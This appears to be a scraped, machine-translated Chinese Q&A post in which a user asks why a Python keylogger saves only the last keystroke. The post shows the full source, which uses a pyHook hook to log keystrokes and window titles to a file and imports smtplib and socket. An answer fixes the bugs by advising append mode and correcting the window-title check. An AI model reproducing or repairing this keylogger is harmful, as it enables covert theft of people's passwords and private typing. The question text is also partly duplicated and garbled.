Python 这个键盘记录员需要帮助吗
这个来源有一个问题。 一旦进入记事本之类的程序,就可以编写一个只写最后一个字符的文本 例如,程序记事本上写着:“我是一名程序员” 但是存储在上面的键盘记录器文件:Python 这个键盘记录员需要帮助吗,python,Python,这个来源有一个问题。 一旦进入记事本之类的程序,就可以编写一个只写最后一个字符的文本 例如,程序记事本上写着:“我是一名程序员” 但是存储在上面的键盘记录器文件: [*] Window activated. [2015-11-25 09: 57: 08.805000] ********************** Untitled - Notepad | ********************** r 问题在哪里?我该怎么办?请告诉我 from threading import Time
[*] Window activated. [2015-11-25 09: 57: 08.805000]
**********************
Untitled - Notepad |
**********************
r
问题在哪里?我该怎么办?请告诉我
from threading import Timer
import subprocess, socket, base64, time, datetime
import pythoncom, pyHook, win32api, win32gui,win32con, smtplib
from time import strftime,gmtime
LOG_ACTIVE=''
LOG_FILENAME="kianoush.txt"
def OnKeyboardEvent(event):
global LOG_TEXT, LOG_FILE, LOG_STATE, LOG_ACTIVE, main_thread_id
LOG_TEXT = ""
LOG_FILE = open(LOG_FILENAME, 'w')
WindowsTitle=''
wg=win32gui
LOG_NEWACTIVE = NewWindowsTitle = wg.GetWindowText(wg.GetForegroundWindow())
if NewWindowsTitle!=WindowsTitle:
LOG_DATE = datetime.datetime.now()
LOG_TEXT += "\n\n[*] Window activated. [" + str(LOG_DATE) + "] \n"
LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n"
LOG_TEXT += " " + LOG_NEWACTIVE + " |\n"
LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n\n"
print LOG_TEXT
WindowsTitle=NewWindowsTitle
LOG_FILE.write(LOG_TEXT)
LOG_TEXT = ""
if event.Ascii == 8: LOG_TEXT += "\b"
elif event.Ascii == 13 or event.Ascii == 9: LOG_TEXT += "\n"
else: LOG_TEXT += str(chr(event.Ascii))
LOG_FILE.write(LOG_TEXT)
LOG_FILE.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
我在您的代码中看到两个主要问题:
- 以“w”模式打开文件会销毁其当前内容。您应该使用“a”(追加)
- 检测新窗口的代码已损坏,并且始终将窗口名称与“”进行比较,从而为每个调用打印标题